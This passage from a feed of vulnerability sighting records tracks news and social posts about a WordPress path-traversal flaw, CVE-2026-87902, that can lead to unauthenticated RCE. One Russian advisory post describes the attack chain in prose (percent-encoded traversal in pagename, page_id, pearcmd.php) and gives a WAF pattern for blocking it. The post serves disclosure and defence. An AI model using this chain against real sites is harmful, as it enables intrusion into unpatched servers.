CVE-2026-87902 Within Hours of Disclosure\nhttps://ift.tt/OcElxV6", "url": "https://t.me/ctinow/257311"}, {"timestamp": "2026-09-24T08:35:22.358Z", "date_only": false, "value": "2026-09-24T08:35:22.358751Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mwatxjd4th2i", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "78af0b58-34ac-49d9-907e-bdebb80e7bbe", "content": "CVE-2026-87902 enables unauthenticated remote code execution in WordPress when specific theme and readable local PHP file conditions are met.\n", "url": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mwatxjd4th2i"}, {"timestamp": "2026-09-24T08:36:06.905Z", "date_only": false, "value": "2026-09-24T08:36:06.905971Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/privpros.bsky.social/post/3mwatytjqc72z", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "4b35468b-160e-43c2-aaf1-28d6e70b59d2", "content": "CVE-2026-87902 enables unauthenticated remote code execution in WordPress when specific theme and readable local PHP file conditions are met.\n", "url": "https://bsky.app/profile/privpros.bsky.social/post/3mwatytjqc72z"}, {"timestamp": "2026-09-24T08:42:22.032Z", "date_only": false, "value": "2026-09-24T08:42:22.032190Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/alien-rick.bsky.social/post/3mwaudxfycs2v", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "b18896d6-a0d3-4596-abe5-e6eb019aeb91", "content": "Alright Morty. WordPress shipped CVE-2026-87902, CVSS 9.2, so get_page_template can yoink pearcmd.php and gift unauthenticated RCE. Exploiters started the same day as 7.1.2. Your blog's page-templates folder is the open bar. day267.018", "url": "https://bsky.app/profile/alien-rick.bsky.social/post/3mwaudxfycs2v"}, {"timestamp": "2026-09-24T08:44:05.052Z", "date_only": false, "value": "2026-09-24T08:44:05.052438Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/2k115.bsky.social/post/3mwauh27fe22e", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "4c0de4ac-c734-4827-b5ab-468d598cac87", "content": "CVE-2026-87902: unauthenticated file inclusion in WordPress core (4.7.0\u20137.1.1), patched in 7.1.2 (CVSS 9.2). Can lead to RCE under specific server setups. Exploitation attempts detected within hours of release. Update now.\n\u200b#InfoSec #CyberSecurity #WordPress", "url": "https://bsky.app/profile/2k115.bsky.social/post/3mwauh27fe22e"}, {"timestamp": "2026-09-24T09:00:04Z", "date_only": false, "value": "2026-09-24T09:00:04.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/cjlcZTFFUyGrwljsqQ_tJDhKhIyBt5_Ycl19FfJ_ZRz-oCM", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "eb594e9a-5ae9-4d50-a0b1-2d3368694626"}, {"timestamp": "2026-09-24T09:00:04Z", "date_only": false, "value": "2026-09-24T09:00:04.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/cjlcZTFFUyGrwljsqQ_tJDhKhIyBt5_Ycl19FfJ_ZRz-oCM", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "6c7c7647-abe3-4823-85b6-6b7eca9f2e81"}, {"timestamp": "2026-09-24T09:14:33.175Z", "date_only": false, "value": "2026-09-24T09:14:33.175708Z", "kind": "other", "label": "Advisory revision", "source": "csaf_ncscnl \u00b7 NCSC-2026-0389", "record": "NCSC-2026-0389", "field": "document.tracking.revision_history.1.date"}, {"timestamp": "2026-09-24T09:14:33.175Z", "date_only": false, "value": "2026-09-24T09:14:33.175708Z", "kind": "other", "label": "Updated", "source": "csaf_ncscnl \u00b7 NCSC-2026-0389", "record": "NCSC-2026-0389", "field": "document.tracking.current_release_date"}, {"timestamp": "2026-09-24T09:29:03Z", "date_only": false, "value": "2026-09-24T09:29:03.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/cyberok_news/254", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "524895e3-71cc-4644-a60a-d63dc95b8acc", "content": "\u2757\ufe0f \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u044f\u0434\u0440\u0435 WordPress: CVE-2026-87902\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u0431\u0435\u0437 \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 \u0434\u043b\u044f \u0447\u0442\u0435\u043d\u0438\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0444\u0430\u0439\u043b .php, \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0439 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u0442\u0435\u043c\u044b. \u041f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u0432 \u0442\u0435\u043c\u0435 \u044d\u0442\u043e \u0440\u0430\u0441\u043a\u0440\u0443\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0434\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 (RCE).\n\u0410\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f, \u0443\u0447\u0451\u0442\u043d\u0430\u044f \u0437\u0430\u043f\u0438\u0441\u044c, \u0444\u0430\u0439\u043b cookie, \u0441\u0435\u0430\u043d\u0441 \u0438\u043b\u0438 \u043e\u0434\u043d\u043e\u0440\u0430\u0437\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043e\u0447\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f.\n\n\u2139\ufe0f \u041e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u043f\u0440\u0438 \u0432\u044b\u0431\u043e\u0440\u0435 \u0448\u0430\u0431\u043b\u043e\u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b. WordPress \u0444\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442 \u0441\u043f\u0438\u0441\u043e\u043a \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u0438\u043c\u0451\u043d \u0444\u0430\u0439\u043b\u043e\u0432 \u0448\u0430\u0431\u043b\u043e\u043d\u0430, \u0438 \u043e\u0434\u043d\u043e \u0438\u0437 \u043d\u0438\u0445 \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 pagename \u0438\u0437 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0431\u0435\u0437 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438.\n\n\u0421\u043d\u0430\u0447\u0430\u043b\u0430 WordPress \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0447\u0435\u0440\u0435\u0437 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0441\u0430\u043d\u0438\u0442\u0430\u0439\u0437\u0435\u0440. \u041e\u043d \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442 \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043e\u043a\u0442\u0435\u0442\u044b, \u043d\u043e \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u043b\u0438\u0442\u0435\u0440\u0430\u043b\u044c\u043d\u044b\u0435 \u0442\u043e\u0447\u043a\u0438 \u0438 \u043e\u0431\u0440\u0435\u0437\u0430\u0435\u0442 \u0441\u0442\u0440\u043e\u043a\u0443 \u043f\u043e \u043b\u0438\u0442\u0435\u0440\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0441\u043b\u044d\u0448\u0443. \u0418\u0437-\u0437\u0430 \u044d\u0442\u043e\u0433\u043e:\n\u2022 \u043e\u0431\u044b\u0447\u043d\u044b\u0439 ../../ \u043d\u0435 \u0432\u044b\u0436\u0438\u0432\u0430\u0435\u0442 \u043f\u043e\u0441\u043b\u0435 \u0441\u0430\u043d\u0438\u0442\u0430\u0439\u0437\u0435\u0440\u0430;\n\u2022 percent-encoded \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442, \u0430 \u0437\u0430\u0442\u0435\u043c get_page_template() \u0435\u0433\u043e \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u0443\u0435\u0442.\n\n\u0415\u0441\u0442\u044c \u0438 \u0432\u0442\u043e\u0440\u043e\u0439 \u043d\u044e\u0430\u043d\u0441: \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 pagename \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 page_id, \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0449\u0438\u0439 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u0443\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443. \u0411\u0435\u0437 \u043d\u0435\u0433\u043e \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0435 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043d\u0443\u0436\u043d\u0443\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u0438 \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u043d\u0435 \u043e\u0442\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442.\n\n\u26a1\ufe0f \u0410\u043b\u0433\u043e\u0440\u0438\u0442\u043c \u0430\u0442\u0430\u043a\u0438\n\u2022 \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441 \u043a \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0439 \u0447\u0430\u0441\u0442\u0438 \u0441\u0430\u0439\u0442\u0430 \u0441 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u043c\u0438 pagename \u0438 \u0432\u0430\u043b\u0438\u0434\u043d\u044b\u043c page_id.\n\u2022 \u0421\u0430\u043d\u0438\u0442\u0430\u0439\u0437\u0435\u0440 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442 \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043e\u043a\u0442\u0435\u0442\u044b, \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442 \u0448\u0430\u0431\u043b\u043e\u043d\u0430 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u0441 \u00ab\u043f\u0443\u0442\u0451\u043c \u043d\u0430\u0440\u0443\u0436\u0443\u00bb.\n\u2022 get_page_template() \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u0443\u0435\u0442 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u044b\u0439 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 .php-\u0444\u0430\u0439\u043b \u0432\u043d\u0435 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0439 \u0442\u0435\u043c\u044b.\n\u2022 \u0421\u0430\u043c\u044b\u0439 \u043e\u0431\u0441\u0443\u0436\u0434\u0430\u0435\u043c\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f RCE \u2014 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b PEAR (pearcmd.php) \u0438 \u0432\u043a\u043b\u044e\u0447\u0451\u043d register_argc_argv, LFI \u0440\u0430\u0441\u043a\u0440\u0443\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0434\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e PHP-\u043a\u043e\u0434\u0430 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0430.\n\n\ud83d\udcac \u041f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0435 PoC \u0443\u0436\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u043d\u0430 GitHub.\n\n\u26a0\ufe0f \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0432 \u0441\u0435\u0442\u0438\n\u0410\u043a\u0442\u0438\u0432\u043d\u043e\u0435 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435 \u043d\u0430\u0447\u0430\u043b\u043e\u0441\u044c 22 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f 2026 \u2014 \u043c\u0435\u043d\u0435\u0435 \u0447\u0435\u043c \u0447\u0435\u0440\u0435\u0437 5 \u0447\u0430\u0441\u043e\u0432 \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u0445\u043e\u0434\u0430 7.1.2. \u041f\u0435\u0439\u043b\u043e\u0430\u0434\u044b \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u044e\u0442 \u0442\u0443 \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u043a\u0443, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043f\u0430\u0442\u0447 (\u0442\u043e \u0435\u0441\u0442\u044c \u0430\u0432\u0442\u043e\u0440\u044b \u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0438 \u043e\u0442 \u0434\u0438\u0444\u0444\u0430, \u0430 \u043d\u0435 \u043e\u0442 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0439 \u043d\u0430\u0445\u043e\u0434\u043a\u0438).\n\n\ud83d\udd0c \u0423\u0441\u043b\u043e\u0432\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438:\n\u2022 \u0414\u043b\u044f LFI \u2014 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0434\u0435\u0444\u043e\u043b\u0442\u043d\u043e\u0433\u043e \u0440\u0435\u0437\u043e\u043b\u0432\u0438\u043d\u0433\u0430 \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432.\n\u2022 \u0414\u043b\u044f RCE \u2014 \u043d\u0443\u0436\u043d\u044b \u0434\u043e\u043f. \u043f\u0440\u0435\u0434\u043f\u043e\u0441\u044b\u043b\u043a\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, PEAR \u0432 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u0438 + \u043f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0439 layout \u0442\u0435\u043c\u044b \u0438 runtime-\u0443\u0441\u043b\u043e\u0432\u0438\u044f); \u043d\u0435 \u043a\u0430\u0436\u0434\u0430\u044f \u0434\u0435\u0444\u043e\u043b\u0442\u043d\u0430\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f.\n\n\ud83d\udd3aCVSS: 9.2 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\u0417\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438: \nWordPress 4.7.0\u20137.1.1.\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438:\nWordPress 7.1.2.\nWordPress 7.0.6.\nWordPress 6.9.9.\nWordPress 6.8.10.\n\u041e\u0431\u0440\u0430\u0442\u043d\u044b\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0432\u0435\u0442\u043e\u043a \u0432\u043f\u043b\u043e\u0442\u044c \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 4.7.37.\n\n\ud83d\udee1 \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0437\u0430\u0449\u0438\u0442\u0435\n 1. \u041d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0435\u043d\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438. \n 2. \u041e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c register_argc_argv \u0432 php.ini (\u043d\u0435\u0439\u0442\u0440\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u0432\u0435\u043a\u0442\u043e\u0440 pearcmd.php RCE).\n3. \u041d\u0430 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u043e\u043c \u044d\u043a\u0440\u0430\u043d\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0438\u043b\u0438 \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u043c \u043f\u0440\u043e\u043a\u0441\u0438 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 \u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0435 pagename (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, pagename=\u2026%2e%2e\u2026). \n5.  \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043b\u043e\u0433\u0438 \u043d\u0430 \u0430\u043d\u043e\u043c\u0430\u043b\u044c\u043d\u044b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0441 pagename + page_id \u0438 percent-encoded \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044f\u043c\u0438.\n\n\ud83d\udd17 \u041a\u0430\u0440\u0442\u043e\u0447\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 NVD\n\ud83d\udd17 \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0430\u0432\u0442\u043e\u0440\u0430\n\ud83d\udd17 \u0420\u0430\u0437\u0431\u043e\u0440 Patchstack", "url": "https://t.me/cyberok_news/254"}, {"timestamp": "2026-09-24T09:47:51.870Z", "date_only": false, "value": "2026-09-24T09:47:51.870939Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/montxt.bsky.social/post/3mwaxz5lg7m2l", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "8da3bdae-9c65-4457-bb46-6c5bcf39b31d", "content": "Attackers Exploit WordPress CVE-2026-87902 Within Hours of Disclosure  https://thehackernews.com/2026/09/attackers-exploit-wordpress-cve-2026.html", "url": "https://bsky.app/profile/montxt.bsky.social/post/3mwaxz5lg7m2l"}, {"timestamp": "2026-09-24T10:01:51.580Z", "date_only": false, "value": "2026-09-24T10:01:51.580243Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/crustytldr.bsky.social/post/3mways6k4n32m", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "b2442752-4c05-48e1-94b4-316154b55ad2", "content": "\ud83d\udd12 Attackers Exploit WordPress CVE-2026-87902 Within Hours of Disclosure\n\nThreat actors have begun to actively exploit a critical security flaw in WordPress within hours of public di...\n\nhttps://tinyurl.com/26l9pzza #CyberSecurity #InfoSec #CrustyTLDR", "url": "https://bsky.app/profile/crustytldr.bsky.social/post/3mways6k4n32m"}, {"timestamp": "2026-09-24T10:18:18.450Z", "date_only": false, "value": "2026-09-24T10:18:18.450913Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/happenstuff.com/post/3mwaztqjwc22f", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "aa10133f-0ce6-4073-8f9a-255fb2a3a397", "content": "Article:\nThreat actors have begun to actively exploit a critical security flaw in WordPress within hours of public disclosure.\n\nThe vulnerability in question is CVE-2026-87902 (CVSS score: 9.2), which could allow an unauthenticated attacker to obtain remote code execution (RCE).", "url": "https://bsky.app/profile/happenstuff.com/post/3mwaztqjwc22f"}, {"timestamp": "2026-09-24T10:30:54Z", "date_only": false, "value": "2026-09-24T10:30:54.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/information_security_channel/55970", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "df342ec5-0c19-46d4-9131-86f75a14b2ac", "content": "Critical WordPress Vulnerability Exploited Immediately After Disclosure\nhttps://www.securityweek.com/critical-wordpress-vulnerability-exploited-immediately-after-disclosure/\n\nTracked as CVE-2026-87902, the path traversal flaw allows remote, unauthenticated attackers to execute arbitrary code.\nThe post Critical WordPress Vulnerability Exploited Immediately After Disclosure (https://www.securityweek.com/critical-wordpress-vulnerability-exploited-immediately-after-disclosure/) appeared first on SecurityWeek (https://www.securityweek.com/).", "url": "https://t.me/information_security_channel/55970"}, {"timestamp": "2026-09-24T10:45:57.451Z", "date_only": false, "value": "2026-09-24T10:45:57.451087Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/igalog.bsky.social/post/3mwb3aze62e2d", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "8c4317b9-4e90-449d-b287-aec59235cac8", "content": "WordPress 7.1.2 \u3067\u76f4\u3063\u305f\u8106\u5f31\u6027 CVE-2026-87902 \u3068\u3001\u3044\u307e\u78ba\u8a8d\u3059\u308b\u3053\u3068\nhttps://raplsworks.com/wordpress-7-1-2-security-release/\n\n\u30c8\u30ea\u30a2\u30fc\u30b8\u76ee\u7684\u3082\u3042\u308a\u3001\u5bfe\u8c61\u5224\u5b9a\u306e\u65b9\u6cd5\u304c\u307e\u3068\u307e\u3063\u3066\u308b\u306e\u52a9\u304b\u308b", "url": "https://bsky.app/profile/igalog.bsky.social/post/3mwb3aze62e2d"}, {"timestamp": "2026-09-24T11:24:42.538Z", "date_only": false, "value": "2026-09-24T11:24:42.538027Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/r-blueteamsec.bsky.social/post/3mwb5gd44ug25", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "aa680af5-1a0f-4f58-8f9e-bdaa465d10a6", "content": "WordPress 7.1.1-CVE-2026-87902 exploit", "url": "https://bsky.app/profile/r-blueteamsec.bsky.social/post/3mwb5gd44ug25"}, {"timestamp": "2026-09-24T11:27:23Z", "date_only": false, "value": "2026-09-24T11:27:23.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/hn_cbtJg35y3a8ky1wWtlHg_HSsW2-9wCiZ6CQmYLspAD7Q", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "e463bb61-77f9-4c8e-af8f-1c4ac8a31dd0"}, {"timestamp": "2026-09-24T11:27:23Z", "date_only": false, "value": "2026-09-24T11:27:23.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/hn_cbtJg35y3a8ky1wWtlHg_HSsW2-9wCiZ6CQmYLspAD7Q", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "724ac9e3-bd53-4fbe-b8dd-49e5fc9e04b6"}, {"timestamp": "2026-09-24T11:34:54.594Z", "date_only": false, "value": "2026-09-24T11:34:54.594935Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/bitnewsbot.bsky.social/post/3mwb5yk4rqh2x", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "530cad2e-e042-45e4-abe6-43dc891486dc", "content": "Threat actors are actively exploiting a critical WordPress vulnerability, CVE-2026-87902, just hours after its public disclosure. The unauthenticated remote code [\u2026]", "url": "https://bsky.app/profile/bitnewsbot.bsky.social/post/3mwb5yk4rqh2x"}, {"timestamp": "2026-09-24T11:37:45.920Z", "date_only": false, "value": "2026-09-24T11:37:45.920698Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/targetsocialmedia.bsky.social/post/3mwb65ogluf2g", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "91f1b6ea-cc42-46c2-9dd1-f216c86ca3df", "content": "WordPress CVE-2026-87902: Probing and PHP File-Write Attempts Observed on Patch Day", "url": "https://bsky.app/profile/targetsocialmedia.bsky.social/post/3mwb65ogluf2g"}, {"timestamp": "2026-09-24T11:40:57.079Z", "date_only": false, "value": "2026-09-24T11:40:57.079057Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/theperimetersite.bsky.social/post/3mwb6deofqh2f", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "8eb973dc-41be-469b-980b-da06b1bbf14f", "content": "CVE-2026-87902 is waking up every WordPress admin who hasn't gone to bed yet. It's a path traversal flaw. That means it goes straight to remote code execution via pearcmd.php.\n\n#vulnerability #infosec", "url": "https://bsky.app/profile/theperimetersite.bsky.social/post/3mwb6deofqh2f"}, {"timestamp": "2026-09-24T11:41:00Z", "date_only": false, "value": "2026-09-24T11:41:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/true_secator/8643", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "a5043691-71b9-4325-b4d8-cfd386b5599c", "content": "\u041a\u0438\u0431\u0435\u0440\u043f\u043e\u0434\u043f\u043e\u043b\u044c\u0435 \u043f\u0440\u0438\u0441\u0442\u0443\u043f\u0438\u043b\u043e \u043a \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 CVE-2026-87902 \u043d\u0430 \u0441\u0430\u0439\u0442\u0430\u0445 WordPress \u0434\u043b\u044f \u0437\u0430\u043f\u0438\u0441\u0438 \u043d\u0430 \u0434\u0438\u0441\u043a \u0444\u0430\u0439\u043b\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438.\n\n\u041f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u0439 \u0442\u0440\u0430\u0444\u0438\u043a \u0430\u0442\u0430\u043a\u0438 \u0431\u044b\u043b 